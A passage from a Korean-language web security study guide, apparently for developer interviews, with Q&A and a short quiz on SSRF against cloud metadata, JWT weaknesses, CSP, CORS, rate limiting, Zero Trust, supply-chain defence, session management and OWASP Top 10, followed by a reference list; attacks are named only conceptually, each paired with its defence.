클라우드 환경에는 메타데이터 서비스(169.254.169.254)가 있어 SSRF로 IAM 크레덴셜, 환경 변수 등을 탈취할 수 있습니다. Capital One 해킹이 대표적 사례이며, AWS IMDSv2 사용으로 방어합니다.
Q8: JWT의 보안 취약점과 대책을 설명하세요.
취약점: 1) Algorithm None 공격, 2) 시크릿 키 브루트포스, 3) 토큰 탈취 후 만료까지 사용. 대책: 알고리즘 명시 검증, 강력한 시크릿 키(256비트 이상), 짧은 만료 시간 + Refresh Token Rotation.
Q9: CSP(Content Security Policy)의 동작 원리를 설명하세요.
CSP는 브라우저에게 허용된 리소스 출처를 지정하는 HTTP 헤더입니다. script-src, style-src 등 지시어로 각 리소스 유형별 허용 출처를 지정합니다. 인라인 스크립트는 nonce 또는 hash로 허용하며, 위반 시 report-uri로 보고할 수 있습니다.
Q10: Rate Limiting의 구현 전략과 분산 환경에서의 고려사항은?
전략: 1) Fixed Window, 2) Sliding Window, 3) Token Bucket, 4) Leaky Bucket. 분산 환경에서는 Redis 같은 중앙 저장소를 사용해 모든 서버에서 일관된 카운팅을 해야 합니다. IP 기반 + 사용자 ID 기반 복합 제한이 효과적입니다.
심화 질문
Q11: Zero Trust 아키텍처란 무엇이며, 전통적 경계 보안과 어떻게 다른가요?
전통적 보안은 네트워크 경계(방화벽)를 기반으로 내부를 신뢰합니다. Zero Trust는 "절대 신뢰하지 말고, 항상 검증하라"는 원칙으로, 내부 트래픽도 검증합니다. 핵심 요소: 최소 권한, 마이크로세그먼테이션, 지속적 검증, 암호화 통신.
Q12: 공급망 공격(Supply Chain Attack)을 방어하는 방법은?
- 의존성 잠금 파일(lockfile) 사용 및 무결성 검증, 2) SRI(Subresource Integrity) 해시 적용, 3) SBOM 유지, 4) CI/CD 파이프라인 보안 (코드 서명, 아티팩트 검증), 5) 최소 의존성 원칙.
Q13: CORS와 CSP의 차이점과 각각의 역할을 설명하세요.
CORS는 브라우저의 동일 출처 정책을 완화하여 다른 오리진의 리소스 접근을 제어합니다 (서버 간 API 호출). CSP는 페이지 내에서 로드할 수 있는 리소스의 출처를 제한합니다 (XSS 방어). CORS는 "누가 내 API를 호출할 수 있는가", CSP는 "내 페이지에서 무엇을 로드할 수 있는가"입니다.
Q14: DevSecOps에서 Shift Left의 의미와 구현 방법은?
Shift Left는 보안 활동을 개발 초기 단계로 이동시키는 것입니다. 구현: 1) IDE에서 SAST 플러그인 사용, 2) Pre-commit hook으로 시크릿 스캔, 3) PR 리뷰에 보안 체크 자동화, 4) 스프린트 위협 모델링, 5) 개발자 보안 교육.
Q15: 세션 관리의 모범 사례 5가지를 설명하세요.
- 암호학적으로 안전한 랜덤 세션 ID 생성 (최소 128비트), 2) HTTPS 전용 + HttpOnly + Secure + SameSite 쿠키 속성, 3) 로그인/권한 변경 시 세션 ID 재생성, 4) 절대/유휴 타임아웃 설정, 5) 로그아웃 시 서버측 세션 완전 무효화.
17. 퀴즈
Q1: OWASP Top 10 2021에서 1위로 올라간 취약점은?
A01: Broken Access Control입니다. 2017년에는 5위였으나, API 기반 아키텍처의 확산으로 권한 제어 실수가 증가하면서 1위로 올라갔습니다.
Q2: SQL Injection을 방어하는 가장 효과적인 방법은?
파라미터화된 쿼리(Prepared Statement) 입니다. 쿼리 구조와 데이터를 분리하여 사용자 입력이 SQL 명령으로 해석되는 것을 원천적으로 차단합니다. ORM 사용도 같은 원리로 방어됩니다.
Q3: SSRF 공격에서 169.254.169.254 주소가 위험한 이유는?
169.254.169.254는 클라우드 인스턴스 메타데이터 서비스 주소입니다. SSRF로 접근하면 IAM 크레덴셜, 환경 변수, 네트워크 구성 등 민감한 정보를 탈취할 수 있습니다. AWS IMDSv2를 사용하면 PUT 요청으로 토큰을 먼저 발급받아야 하므로 SSRF 공격이 어려워집니다.
Q4: CSP에서 'unsafe-inline'을 사용하면 안 되는 이유는?
'unsafe-inline'을 허용하면 인라인 스크립트 실행이 가능해져 XSS 공격에 취약해집니다. 대신 nonce-based CSP를 사용하여 각 인라인 스크립트에 고유한 nonce 값을 부여하고, 해당 nonce가 있는 스크립트만 실행을 허용해야 합니다.
Q5: Zero Trust 보안 모델의 핵심 원칙 3가지는?
- 절대 신뢰하지 않는다(Never Trust): 내부 네트워크라도 모든 요청을 검증합니다.
- 항상 검증한다(Always Verify): 모든 접근에 인증과 권한 검사를 수행합니다.
- 최소 권한(Least Privilege): 필요한 최소한의 권한만 부여하고, 정기적으로 검토합니다.
참고 자료
- OWASP Top 10 2021 공식 문서
- OWASP Cheat Sheet Series
- OWASP Testing Guide
- OWASP ASVS (Application Security Verification Standard)
- IBM Cost of a Data Breach Report 2024
- NIST Cybersecurity Framework
- CWE (Common Weakness Enumeration)
- CVE (Common Vulnerabilities and Exposures)
- MDN Web Security
- Google Web Security Guidelines
- Node.js Security Checklist
- Helmet.js Documentation
- OWASP ZAP
- Snyk Learn - Security Education
- PortSwigger Web Security Academy